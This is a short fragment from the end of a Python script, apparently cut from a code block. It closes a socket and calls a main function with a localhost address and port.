    sock.close()


if __name__ == "__main__":
main('127.0.0.1:3000')
```